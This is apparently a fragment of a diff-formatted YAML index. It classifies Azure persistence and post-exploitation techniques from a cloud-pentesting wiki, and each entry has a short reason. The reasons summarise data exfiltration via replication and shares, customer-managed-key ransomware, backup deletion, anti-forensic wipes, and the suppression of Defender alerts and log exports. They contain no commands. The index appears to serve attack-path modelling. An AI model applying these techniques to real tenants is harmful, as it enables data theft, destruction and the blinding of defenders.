src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#object-replication-continuous-automatic-exfiltration + technique: 'Object replication: continuous automatic exfiltration' + source_revision: a66f094ede + reason: Every blob written to the victim container from now on is copied automatically by the Azure platform into the attacker's storage + account. This is storage data access, exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#event-grid-subscription-live-notification-of-every-new-blob + technique: 'Event Grid subscription: live notification of every new blob' + source_revision: a66f094ede + reason: A real-time feed of every object written to the victim account — container, blob name, full URL, size and eTag — delivered + to an attacker-controlled queue, webhook, Event Hub or Function. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#wildcard-cors-rule-a-durable-browser-driven-exfiltration-channel + technique: 'Wildcard CORS rule: a durable browser-driven exfiltration channel' + source_revision: a66f094ede + reason: A permanent cross-origin read channel into the account's data plane. This is storage data access, exfiltration, hosted content + or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#lifecycle-management-policy-destroy-data-without-any-delete-permission + technique: 'Lifecycle management policy: destroy data without any delete permission' + source_revision: a66f094ede + reason: The Azure platform deletes base blobs, snapshots and previous versions on the attacker's schedule. This is storage data access, + exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#static-website-hosting-on-a-trusted-microsoft-domain + technique: Static website hosting on a trusted Microsoft domain + source_revision: a66f094ede + reason: Attacker-controlled content served over HTTPS from https://.z.web.core.windows.net/ — a Microsoft-owned, valid-certificate + domain that passes most reputation filters and corporate proxies. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#soft-delete--retention-as-attacker-controlled-data-retention + technique: Soft delete / retention as attacker-controlled data retention + source_revision: a66f094ede + reason: Extends the window in which the attacker can recover data that the victim deletes — turning "the user cleaned that up" into + "the attacker can still restore it for up to 365 days". This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: Backdoor Instances + source_revision: a66f094ede + reason: Persistent guest code on a VM reaches its attached managed identity; VM execution and extension paths are modelled by virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#credential-rotation-persistence--lockout-rotatepassword + technique: Credential-rotation persistence & lockout (rotatePassword) + source_revision: a66f094ede + reason: rotate the CloudAdmin / NSX-T passwords and immediately re-read them with listAdminCredentials to hold fresh, exclusive credentials + (persistence). The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#advisor-as-a-recon-oracle + technique: Advisor as a recon oracle + source_revision: a66f094ede + reason: 'Returns a curated, pre-computed misconfiguration inventory for the whole subscription with zero scanning: Security findings + (Defender-for-Cloud assessments surfaced through Advisor), Cost findings that pinpoint…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#suppressing-the-findings-you-create + technique: Suppressing the findings you create + source_revision: a66f094ede + reason: A suppression hides one Advisor recommendation for one resource (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#excluding-the-whole-scope-from-advisor + technique: Excluding the whole scope from Advisor + source_revision: a66f094ede + reason: Setting exclude:true on configurations/default at subscription or resource-group scope drops that entire scope out of recommendation + generation for every category at once, so no new finding about your activity is…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-analysis-services-post-exploitation.md#suspend--resume--delete-availability--cost + technique: Suspend / resume / delete (availability & cost) + source_revision: a66f094ede + reason: suspend takes the server (and all BI) offline; repeated resume drives cost on the pay-per-hour SKU; delete destroys the server. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + technique: Bulk exfil & loot-persistence via snapshots (configurationStores/snapshots/read / write) + source_revision: a66f094ede + reason: An App Configuration snapshot can retain an Entra credential, but snapshot-read permission alone does + not show the key-value contents, credential validity, or target principal. A complete content scan and identity + join are needed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#delete-and-purge-the-store + technique: Delete and purge the store + source_revision: a66f094ede + reason: permanently remove the soft-deleted store and its application configuration. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#steal-the-accounts-managed-identity-token + technique: Steal the account's managed identity token + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#dump-encrypted-variables-and-stored-credentials + technique: Dump encrypted variables and stored credentials + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#harvest-secrets-from-prior-job-output-and-streams + technique: Harvest secrets from prior job output and streams + source_revision: a66f094ede + reason: Historical Automation job streams can contain tokens or passwords, but job-read permission alone does + not show whether a usable Azure/Entra credential was printed or which principal owns it. A complete stream scan + and identity join are needed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#read-runbook-source-for-hardcoded-secrets + technique: Read runbook source for hardcoded secrets + source_revision: a66f094ede + reason: Runbook source can contain hardcoded Entra credentials, but content-read permission alone does not identify + a usable credential or its principal. A complete source scan and identity join are needed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#enumerate-connections-and-other-assets + technique: Enumerate connections and other assets + source_revision: a66f094ede + reason: Identifies which external identities the account can assume and provides the non-secret half (app ID, tenant, thumbprint); + paired with the corresponding certificate/secret it yields authentication as that service…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#identifying-reusable-namespaces-hf + technique: Identifying Reusable Namespaces (HF) + source_revision: a66f094ede + reason: The section identifies possible model namespace reuse; it is reconnaissance without an authenticated permission grant or identity + takeover. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recognition-heuristics-http + technique: Recognition Heuristics (HTTP) + source_revision: a66f094ede + reason: The HTTP heuristics identify AI endpoints; they are reconnaissance and grant no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#retain-a-generated-vault-credential--register-a-rogue-agent + technique: Retain a generated vault credential / register a rogue agent + source_revision: a66f094ede + reason: a vault credential lets an attacker-controlled machine/agent register to the vault and interact with backup data (and via + ILR/restore, read it). The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#restore-vm--disks-to-attacker-rg-or-subscription + technique: Restore VM / disks to attacker RG or subscription + source_revision: a66f094ede + reason: A restored VM disk can contain cached credentials, but a restore action alone does not establish that + the disk is readable/decrypted or holds a still-valid Azure/Entra credential mapped to a principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#instant-item-level-recovery-quietest-exfil + technique: Instant Item-Level Recovery (quietest exfil) + source_revision: a66f094ede + reason: Instant item recovery can expose files, but the recovery-point actions alone do not establish that the + mounted files contain a usable Azure/Entra credential mapped to a principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#sql--sap-hana--azure-files--blob-restore + technique: SQL / SAP HANA / Azure Files / Blob restore + source_revision: a66f094ede + reason: reconstitutes production databases / file shares / blobs into the attacker's own storage account or VM to read at leisure; + no data-plane grant on the source is required. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-region-restore-read-from-the-paired-secondary-region + technique: Cross-Region Restore (read from the paired secondary region) + source_revision: a66f094ede + reason: restores protected VMs/disks into the paired/secondary region to an attacker RG/storage account — useful to operate where + primary-region monitoring differs. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-tenant-vault-mapping--vaultcredentialsgenerate-exfil-across-a-tenant-boundary + technique: Cross-tenant vault mapping + vaultCredentials/generate (exfil across a tenant boundary) + source_revision: a66f094ede + reason: the cross-tenant vault mapping extends restore across an Entra tenant boundary — a mapping written to a foreign tenant plus + a generated vault credential lets a principal/agent in another tenant enumerate recovery…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#azure-site-recovery--clone-or-disrupt-a-protected-vm + technique: Azure Site Recovery — clone or disrupt a protected VM + source_revision: a66f094ede + reason: A Site Recovery test clone can expose VM files, but test-failover permission alone does not establish + access to a usable Azure/Entra credential on the clone or identify its principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#remove--unlock-the-resource-guard-strip-mua + technique: Remove / unlock the Resource Guard (strip MUA) + source_revision: a66f094ede + reason: removes the multi-user-authorization gate, re-enabling single-actor execution of all otherwise-guarded critical ops (disable + soft delete, stop-protection-with-delete, policy reduction, security PIN, disable immutability). The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#stop-protection-with-delete-data + technique: Stop protection with delete data + source_revision: a66f094ede + reason: stops backups and deletes recovery points for the item — the primary ransomware-enabling move. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#disable-soft-delete--weaken-security-config + technique: Disable soft delete / weaken security config + source_revision: a66f094ede + reason: turns off (or shortens) the safety net that would let victims recover deleted backups — a precursor to hard-deletion. The + section documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#blob-inventory-report-full-object-catalog-without-readlist + technique: 'Blob inventory report: full object catalog without read/list' + source_revision: a66f094ede + reason: The platform generates a scheduled CSV/Parquet report cataloguing every blob (name, path, size, tier, versions/snapshots, + metadata, tags, hashes) into a destination container — without the attacker holding blobs/read…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#storage-account-name-takeover-of-diagnostic-exports + technique: Storage account name takeover of diagnostic exports + source_revision: a66f094ede + reason: Future exported telemetry (diagnostic logs, metrics, audit archives) is delivered to an attacker-controlled account — a durable + log-exfiltration and log-blinding primitive against the victim's own monitoring pipeline. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#delete + technique: \/delete + source_revision: a66f094ede + reason: 'Destruction / denial of service: losing application data, audit archives or backups. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-wide-cmk-ransomware-repoint-keyvaultproperties-to-an-attacker-key + technique: 'Account-wide CMK ransomware: repoint keyVaultProperties to an attacker key' + source_revision: a66f094ede + reason: Repointing storage account encryption to an attacker-controlled Key Vault key creates whole-account data lockout when that + key is revoked; no identity token or role is gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#surgical-ransomware-with-encryptionscopeswrite--attacker-cmk + technique: Surgical ransomware with encryptionScopes/write + attacker CMK + source_revision: a66f094ede + reason: Selective, container/blob-scoped encryption lockout — the attacker chooses exactly which objects become unreadable, rather + than the whole account. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#anti-forensics-disable-versioning-change-feed-and-soft-delete-before-a-wipe + technique: 'Anti-forensics: disable versioning, change feed and soft delete before a wipe' + source_revision: a66f094ede + reason: Converts recoverable, logged deletes into irreversible, untraceable ones. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-failover-as-dos--data-loss-storageaccountsfailoveraction + technique: Account failover as DoS / data loss (storageAccounts/failover/action) + source_revision: a66f094ede + reason: A single control-plane action triggers a customer-initiated failover to the secondary region. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#lifecycle-tier-to-archive-delayed-availability--cost-dos + technique: 'Lifecycle tier-to-Archive: delayed availability & cost DoS' + source_revision: a66f094ede + reason: The platform moves live blobs to the Archive tier, where they are offline — reads fail until a rehydration that takes up to + ~15 hours and incurs early-deletion + rehydration charges. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#related-privesc-path-acr-tasks-managed-identities + technique: 'Related privesc path: ACR Tasks managed identities' + source_revision: a66f094ede + reason: The ACR Task managed-identity takeover is modelled by the task entries in container_registry.yaml; this heading only cross-references + them. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#data-plane-users--permissions--resource-tokens-scoped-credential-persistence + technique: Data-plane Users + Permissions → resource tokens (scoped-credential persistence) + source_revision: a66f094ede + reason: Durable, low-noise data-plane foothold that survives independently of the control plane. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#cmk-revocation-denial-of-data--ransom + technique: CMK revocation "denial-of-data" / ransom + source_revision: a66f094ede + reason: Whole-account denial of data — a ransomware-style primitive needing no data-plane access and no key exfiltration. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#throughputsettingswrite--migratetoautoscaleaction-denial-of-wallet + technique: '.../throughputSettings/write + migrateToAutoscale/action (denial-of-wallet)' + source_revision: a66f094ede + reason: Runaway cost or a throttling outage. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-data-as-recon + technique: Cost data as recon + source_revision: a66f094ede + reason: A single grouped ActualCost query is effectively az resource list for the whole billing scope — enumerating subscriptions/resource + groups you cannot otherwise see, plus a liveness signal showing which resources are…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#continuous-export--external-tables-to-attacker-storage--bulk-exfiltration + technique: Continuous export / external tables to attacker storage — bulk exfiltration + source_revision: a66f094ede + reason: define an external table over an attacker blob/SAS and continuously export query results there (or one-shot .export) — sustained, + automated exfiltration of the database's data to storage the defender does not control. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#cross-cluster-follower-attach--near-real-time-exfil-to-an-attacker-cluster + technique: Cross-cluster follower attach — near-real-time exfil to an attacker cluster + source_revision: a66f094ede + reason: replicate the victim's database into a cluster the attacker fully controls as a follower (near-real-time read-only copy), + then read all of it via the attacker's own data plane — mass exfiltration that never touches…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#data-connection-repoint--hijack--event-hub--iot-ingestion-tampering + technique: Data-connection repoint / hijack — Event Hub / IoT ingestion tampering + source_revision: a66f094ede + reason: Repointing an Event Hub/IoT ingestion connection poisons or diverts Kusto data; it does not give the caller the cluster managed + identity or another Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#in-place-data-explorer-cluster-level-tap-stealthiest + technique: In-place Data Explorer cluster-level tap (stealthiest) + source_revision: a66f094ede + reason: a cluster-scoped in-place share creates a live symbolic link that gives the recipient tenant real-time query access to all + current and future databases on the cluster — no copy job runs, so there is minimal telemetry…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#cross-tenant-snapshot-exfil-share-marquee + technique: Cross-tenant snapshot exfil share (marquee) + source_revision: a66f094ede + reason: the attacker adds sensitive Blob/ADLS/SQL/Synapse datasets to a share and sends an invitation to an attacker-controlled external + tenant. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#scheduled-incremental-snapshot-persistence-headline + technique: Scheduled incremental-snapshot persistence (headline) + source_revision: a66f094ede + reason: the attacker attaches an hourly/daily synchronization schedule to an incremental share. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#loot-the-inventory-read-only-recon + technique: Loot the inventory (read-only recon) + source_revision: a66f094ede + reason: 'Pulls the org''s pre-built external attack-surface map without touching a target host: full asset inventory (hosts, domains, + IP blocks, pages, SSL certs, contacts, ASNs), the confirmed-exposed subset (open sensitive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#blind-discovery-so-new-exposure-is-never-indexed + technique: Blind discovery so new exposure is never indexed + source_revision: a66f094ede + reason: Deleting or narrowing the discovery groups stops the recurring-discovery recursion that would crawl from the seeds to a new + attacker asset (a new subdomain, a service on an existing host), so that asset never enters…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#bury-an-asset-that-did-get-discovered + technique: Bury an asset that did get discovered + source_revision: a66f094ede + reason: Setting an already-discovered attacker asset's state to dismissed/archived drops it from the default 'confirmed inventory' + views and the change dashboards analysts watch, without deleting anything visibly. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#general-blending-guidance + technique: General blending guidance + source_revision: a66f094ede + reason: The guidance changes IP, timing and volume to avoid detection while using already-held permissions; it grants no additional + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-resource-manager--arm_-arm-control-plane + technique: Defender for Resource Manager — ARM (ARM control plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-servers--vm_-scuba_-mde-host + technique: Defender for Servers — VM, SCUBA, MDE (host) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-storage--storage-blobfile-data-plane + technique: Defender for Storage — Storage. (blob/file data plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-key-vault--kv_ + technique: Defender for Key Vault — KV + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-dns--azuredns_ + technique: Defender for DNS — AzureDNS + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-databases--sql-cosmos_ + technique: Defender for Databases — SQL., Cosmos + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-containers--k8s_-k8snode_ + technique: Defender for Containers — K8S, K8S.NODE + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-app-service--appservices_ + technique: Defender for App Service — AppServices + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-apis--ai--api_-aiazure_ + technique: Defender for APIs / AI — API, AI.Azure + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#opting-resources-out-of-the-agents + technique: Opting resources out of the agents + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-deployment-stacks-post-exploitation.md#actiononunmanage-deleteall-mass-destruction + technique: 'actionOnUnmanage: deleteAll mass destruction' + source_revision: a66f094ede + reason: a deployment stack tracks managed resources spanning multiple resource groups / subscriptions. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-elastic-san-post-exploitation.md#snapshot-export--re-mount-data-exfiltration + technique: Snapshot-export → re-mount data exfiltration + source_revision: a66f094ede + reason: snapshot a victim volume, then create a new volume from that snapshot in any volume group in the same region — including one + the attacker can reach — and mount it over iSCSI. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#operate-in-the-under-monitored-sign-in-sub-streams + technique: Operate in the under-monitored sign-in sub-streams + source_revision: a66f094ede + reason: Choosing a service-principal, managed-identity or silent sign-in stream changes detection visibility; it assumes the caller + already holds those credentials and grants no new principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#let-retention-do-the-deleting + technique: Let retention do the deleting + source_revision: a66f094ede + reason: Relies on short native retention — 7 days (Free) / 30 days (P1/P2) for sign-in and audit logs — so that if no tenant diagnostic + setting exports logs, all evidence of activity ages out automatically within that window. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#keep-grapharm-activity-dark + technique: Keep Graph/ARM activity dark + source_revision: a66f094ede + reason: 'Confines enumeration to Microsoft Graph reads and ARM GETs, which are largely invisible: Microsoft Graph Activity Logs are + off by default (exist only if a diagnostic setting exports them) and the Azure Activity Log…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#break-the-export-pipeline-the-stop-cloudtrail-analogue + technique: Break the export pipeline (the "stop CloudTrail" analogue) + source_revision: a66f094ede + reason: Deletes or narrows the single tenant-level diagnostic setting that copies Entra logs to the SIEM past native retention, stopping + all future export (delete) or silently dropping just the categories that record the…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#the-detections-and-how-each-is-triggered--avoided + technique: The detections, and how each is triggered / avoided + source_revision: a66f094ede + reason: Avoids raising Identity Protection sign-in-risk and user-risk so risk-based CA never challenges the session and the SOC gets + no risky-user/sign-in signal — achieved by operating from the victim's usual…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#clearing-risk-if-you-have-the-rights + technique: Clearing risk (if you have the rights) + source_revision: a66f094ede + reason: Dismisses a risky-user state or confirms it safe, clearing risk that would otherwise trigger risk-based CA (block/step-up) + or alert the SOC — retroactively cleaning up risk you already raised. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#weaken-the-engine-tampering + technique: Weaken the engine (tampering) + source_revision: a66f094ede + reason: Excludes the operating account from risk-based CA so risk is scored but never enforced (still sign in), and notes that tenants + without Entra ID P2 aren't running the real-time detections / risk-based CA at all —…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#read-already-captured-avro-blobs-from-the-capture-storage-account + technique: Read already-captured Avro blobs from the capture storage account + source_revision: a66f094ede + reason: If Capture is already enabled (common for compliance/analytics), the historical event stream is sitting in Blob/ADLS as Avro. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#capture-repoint--archive-the-stream-to-attacker-storage-eventhubswrite + technique: Capture repoint — archive the stream to attacker storage (eventhubs/write) + source_revision: a66f094ede + reason: Enable — or repoint an existing — Event Hubs Capture so the full event stream is serialized to Avro blobs in a storage account + the attacker can read. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#network-lock-out--exposure--networkrulesetswrite + technique: Network lock-out / exposure — networkRuleSets/write + source_revision: a66f094ede + reason: Two abuses. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#purge-retained-events-early--lower-messageretentionindays-eventhubswrite + technique: Purge retained events early — lower messageRetentionInDays (eventhubs/write) + source_revision: a66f094ede + reason: Shrinking retention forces early expiry of buffered events — destroying not-yet-consumed data and shortening the forensic + window, a subtler DoS than deletion. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#destructive-dos--delete-namespace--event-hub--consumer-group + technique: Destructive DoS — delete namespace / event hub / consumer group + source_revision: a66f094ede + reason: Deleting a hub drops all retained events and Capture config; deleting a namespace destroys all hubs, consumer groups and SAS + rules → permanent event loss and outage for all producers/consumers.[[4]](#references) bash…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#lock-out-sas-clients--disablelocalauthtrue-namespaceswrite + technique: Lock out SAS clients — disableLocalAuth=true (namespaces/write) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line, 